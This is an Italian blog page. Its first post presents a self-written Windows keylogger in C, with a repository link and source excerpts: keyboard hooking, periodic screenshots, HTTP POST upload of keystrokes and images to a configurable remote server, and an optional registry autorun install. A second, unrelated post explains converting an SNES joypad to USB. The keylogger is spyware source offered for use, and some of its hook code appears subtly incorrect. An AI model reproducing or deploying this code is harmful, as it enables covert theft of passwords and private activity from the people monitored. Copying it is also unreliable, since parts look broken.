Keylogger in C per Windows XP/7/8/10

Un keylogger scritto completamente in C e compatibile con Windows XP, Windows 7/8/10. Questo keylogger effettua snapshot dello schermo e invia tasti e immagini ad un back end PHP remoto (specificabile nel sorgente).

Ecco il link al repository su github:

https://github.com/gianlucag/Keylogger

E’ lo sforzo congiunto mio e di Gaetano di Mitri; per circa 1 settimana abbiamo lavorato a questo progetto.

1487631997_image

Ecco le caratteristiche principali del keylogger:

  • cattura tastiera ed eventi mouse
  • screenshot ad intervalli regolari
  • invio tasti e screenshot a backend PHP remoto
  • modalità auto installer o modo normale

Gli eventi mouse sono opzionali, l’intervallo di cattura dello snapshot è configurabile cosi’ come l’URL remoto di invio dei dati.

Funzionamento generale

Il keylogger si basa essenzialmente sulla hook Windows WH_KEYBOARD_LL. Questa hook permette l’intercettazione a basso livello degli eventi tastiera generati dall’utente. Specificando una apposita callback (in questo caso RawInputKeyboard) è possibile dirottare tutti i keystroke verso questa funzione, registrarli in memoria e quindi ripassarli al sistema operativo. I keystroke vengono registrati in un buffer dinamico che cresce in funzione della quantità di dati ricevuti. Ogni tot secondi (configurabili) il keylogger “svuota” il buffer e invia i dati ad un URL specifico, anch’esso configurabile. L’invio è una semplice chiamata HTTP POST effettuata tramite la libreria libCurl. Una hook secondaria (WH_MOUSE_LL) permette invece di ricevere gli eventi del mouse (posizione, click sinistro, destro, doppio click etc..).

Ad intervalli regolari il keylogger provvede inoltre a creare uno snapshot dello schermo per poi inviare i dati al medesimo backend remoto, sempre in modalità HTTP POST.

Funzionamento nel dettaglio

Analizziamo meglio il codice sorgente:

Nel main() viene creato il thread in ascolto per gli eventi tastiera (funzione Keylogger()). Successivamente il programma si porta in un loop infinito nel quale invia i dati al backend remoto. In questo loop viene creato lo snapshot dello schermo e viene svuotato il buffer dei tasti digitati. I dati sono passati a CURL che a sua volta effettua la connessione HTTP POST al server.

int main(int argn, char* argv[])
{
	mutex = CreateMutex(NULL, FALSE, NULL);

	buffer = (char*)malloc(BUFFERLEN);
	buffer[0] = 0;

	HANDLE logger;
	logger = CreateThread(NULL, 0, KeyLogger, NULL, 0, NULL);

	unsigned int timer = 0;
	int len;

	while(1)
	{
		if(timer % SNAPSHOT_SEC == 0)
		{
			SendScreenshot();
		}

		if(timer % 10 == 0)
		{
			// lock
			WaitForSingleObject(mutex, INFINITE);

			len = strlen(buffer);

			// unlock
			ReleaseMutex(mutex);

			int res = CurlSend(buffer, len, "text=");
			if(res)
			{
				// lock
				WaitForSingleObject(mutex, INFINITE);

				// reset buffer
				strcpy(buffer, buffer + len);

				// unlock
				ReleaseMutex(mutex);
			}
		}
		timer++;
		Sleep(1000); // 1 sec sleep
	}
	return 0;
}

Il thread Keylogger() crea la hook WH_KEYBOARD_LL e istruisce il sistema operativo a chiamare la callback RawInputKeyboard() ogni qualvolta l’utente preme un tasto sulla tastiera. La suddetta funzione non fa altro che inserire il keystroke nel buffer. Se il buffer è pieno, viene ri-allocato raddoppiandone la dimensione (NdA. grazie Gaetano!). La callback controlla l’evento WM_KEYDOWN ossia l’evento di pressione tasto; è possibile controllare anche altri eventi quali tasto rilasciato WM_KEYUP, tasto in hold e molti altri

LRESULT CALLBACK RawInputKeyboard(HWND hwnd, int nCode, WPARAM wParam, LPARAM lParam)
{
	if(nCode == WM_KEYDOWN)
	{
		KBDLLHOOKSTRUCT *keyboard = (KBDLLHOOKSTRUCT *)wParam;
		SaveKey(keyboard->vkCode);
	}

	return DefWindowProc(hwnd, nCode, wParam, lParam);
}

DWORD WINAPI KeyLogger()
{
	HINSTANCE hExe = GetModuleHandle(NULL);
	//hMouseHook = SetWindowsHookEx(WH_MOUSE_LL,(HOOKPROC)RawInputMouse, hExe, 0);
	hKeyHook = SetWindowsHookEx(WH_KEYBOARD_LL,(HOOKPROC)RawInputKeyboard, hExe, 0);
	MSG msg;

	while (GetMessage(&msg, NULL, 0, 0) != 0)
	{
		TranslateMessage(&msg);
		DispatchMessage(&msg);
	}

	return 0;
}

Da notare che thread principale e thread keylogger condividono il buffer dati (uno legge e l’altro lo scrive), perciò è stato utilizzato un mutex per gestirne la concorrenza.

Creazione snapshot ed invio remoto

La creazione dello snapshot si è rivelata alquanto complessa. In Windows è possibile richiedere lo snapshot dello schermo corrente chiamando la funzione CreateCompatibleBitmap che restituisce un array di byte ABGR (alfa, Blue, Green e Red), fondamentalmente una bitmap non compressa e quindi molto pesante (svariati megabyte per uno schermo 1080p). Inviare lo snapshot raw al server remoto è possibile ma veramente inefficiente. La soluzione è convertire la bitmap in una PNG da pochi kb utilizzando la libreria LodePNG. La libreria è scritta in C e consiste di due soli file .h e .c: prende in ingresso un byte array di valori RGBA, effettua la conversione e scrive la PNG su disco. La libreria è stata modificata in modo tale da non scrivere il file .png su disco ma semplicemente restituire un ulteriore buffer contenente  i dati png

BOOL GetBMPScreen(HBITMAP bitmap, HDC bitmapDC, int width, int height, unsigned char** bufferOut, unsigned int* lengthOut)
{
	BOOL Success=FALSE;
	HDC SurfDC=NULL;
	HBITMAP OffscrBmp=NULL;
	HDC OffscrDC=NULL;
	LPBITMAPINFO lpbi=NULL;
	LPVOID lpvBits=NULL;
	HANDLE BmpFile=INVALID_HANDLE_VALUE;
	BITMAPFILEHEADER bmfh;

	if ((OffscrBmp = CreateCompatibleBitmap(bitmapDC, width, height)) == NULL)
		return FALSE;

	if ((OffscrDC = CreateCompatibleDC(bitmapDC)) == NULL)
		return FALSE;

	HBITMAP OldBmp = (HBITMAP)SelectObject(OffscrDC, OffscrBmp);
	BitBlt(OffscrDC, 0, 0, width, height, bitmapDC, 0, 0, SRCCOPY);
	lpbi = (LPBITMAPINFO)malloc(sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD));

	ZeroMemory(&lpbi->bmiHeader, sizeof(BITMAPINFOHEADER));
	lpbi->bmiHeader.biSize = sizeof(BITMAPINFOHEADER);

	SelectObject(OffscrDC, OldBmp);
	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, NULL, lpbi, DIB_RGB_COLORS))
		return FALSE;

	lpvBits = malloc(lpbi->bmiHeader.biSizeImage);

	if (!GetDIBits(OffscrDC, OffscrBmp, 0, height, lpvBits, lpbi, DIB_RGB_COLORS))
		return FALSE;

	int h = height;
	int w = width;
	unsigned scanlineBytes = w * 4;
	if(scanlineBytes % 4 != 0) scanlineBytes = (scanlineBytes / 4) * 4 + 4;

	char *png = malloc(w * h * 4);
	int x,y;

	for(y = 0; y < h; y++)
		for(x = 0; x < w; x++)
		{
			unsigned bmpos = (h - y - 1) * scanlineBytes + 4 * x;
			unsigned newpos = 4 * y * w + 4 * x;

			png[newpos + 0] = ((char *)lpvBits)[bmpos + 2]; //R
			png[newpos + 1] = ((char *)lpvBits)[bmpos + 1]; //G
			png[newpos + 2] = ((char *)lpvBits)[bmpos + 0]; //B
			png[newpos + 3] = 255;            //A
		}

	free(lpvBits);
	lodepng_encode32_memory(png, width, height, bufferOut, lengthOut);
	free(png);

	return TRUE;
}

Modalità auto installer

La modalità auto installer copia l’eseguibile all’interno della cartella di installazione di Windows e crea una chiave di registro per l’avvio automatico. La modalità è disattivata di default, per abilitarla occorre modificare il file sorgente. Nella modalità di default il keylogger si avvia come programma standard ed è ben riconoscibile nel task manager

 

 

 

Trasformare un joypad SNES in un controller USB per PC

Modifichiamo un joypad orginale del Super Nintendo e colleghiamolo via USB al PC o al Raspberry Pi. In un precedente articolo del 2008 (!) mostravo come collegare il controller SNES alla porta parallela, ormai superata. In questo post mostrerò invece come adattarlo alla porta USB ed utilizzarlo con gli emulatori più famosi (NES, SNES, Sega MegaDrive, Sega Master System, Atari etc..).

Questo è il joypad in questione:

SONY DSC

Sto parlando ovviamente del controller originale, quello in dotazione con la console stessa. Joypad di pregevole fattura, assolutamente indistruttibile e che funziona ancora al 100% dopo 20 anni! Il connettore è ahimè proprietario, ne DB9 ne ovviamente USB (lo standard USB sarebbe stato introdotto solo anni più tardi):
snes_connectorAnche il protocollo e i segnali sono proprietari e per “trasformarli” in USB occorre un apposito circuito convertitore. Questo circuito è sufficientemente piccolo da poter essere installato all’interno del controller stesso.

Circuito convertitore

Il convertitore può essere acquistato su RetroUSB. Si tratta di un microcontroller PIC miniaturizzato (formato TSOP) che converte i segnali generati dal controller in segnali USB

Screen Shot 2017-02-19 at 16.58.05

Il kit, chiamato NES/SNES RetroKit, trasforma quindi il controller in un joypad USB a tutti gli effetti. La compatibilità è garantita, il joypad risulterà al PC come un normale controller HID a 12 pulsanti e non sarà necessario installare alcun driver, ne su PC ne su Raspberry Pi (RetroPie).

Ecco come si presenta il convertitore:

retrousb_cable

pic_closeup

Installazione

L’installazione è abbastanza semplice. Apriamo il controller svitando le 5 viti posteriori:

joypad_aperto

A questo punto tagliamo via il cavo originale, spelliamo i 5 fili e bagniamo con stagno le estremità:

fili_tagliati

Per un un lavoro più pulito si potrebbe dissaldare il ricettacolo bianco e quindi “salvare” l’intero cavo originale, a voi la scelta! I 5 fili (marrone, bianco, giallo, rosso e arancio) vanno collegati sulle piazzole del convertitore, seguendo lo schema che il sito mette a disposizione:

sneskit

Lo schema non è chiarissimo, ma in sostanza si tratta di saldare i fili marrone e bianco rispettivamente sulle piazzole 2 e 3 del lato anteriore del convertitore, e di saldare i fili arancio, giallo e rosso rispettivamente alle piazzole 2,3 e 4 presenti nel lato opposto. Il risultato è mostrato qui sotto:

pic_collegato

A questo punto non ci resta che incollare il convertitore al PCB del joypad in modo tale che resti ben fermo e le saldature non si  indeboliscano:

pic_incollato

Basta ora richiudere il joypad assicurandosi che il convertitore non blocchi la chiusura in alcun modo, dovrebbe tranquillamente stare in posizione senza problemi:

joypad_usb_finale

Utilizzo

Il joypad è pronto per essere utilizzato! Non servono driver o altri software particolari perchè il convertitore interfaccia il controller come una periferica HID (Human Interface Device); tali periferiche sono previste dallo standard USB stesso e non richiedono driver per funzionare. Questo joypad USB è particolarmente adatto su RaspberryPi e RetroPie, tutti gli emulatori lo supportano correttamente

joypad_in_azione_dkc

Ovviamente non tutti gli emulatori supportano 12 tasti (l’Atari 2600 soltanto 1 bottone e 4 direzioni) ma nessun problema, i tasti superflui verranno esclusi e non avranno effetto.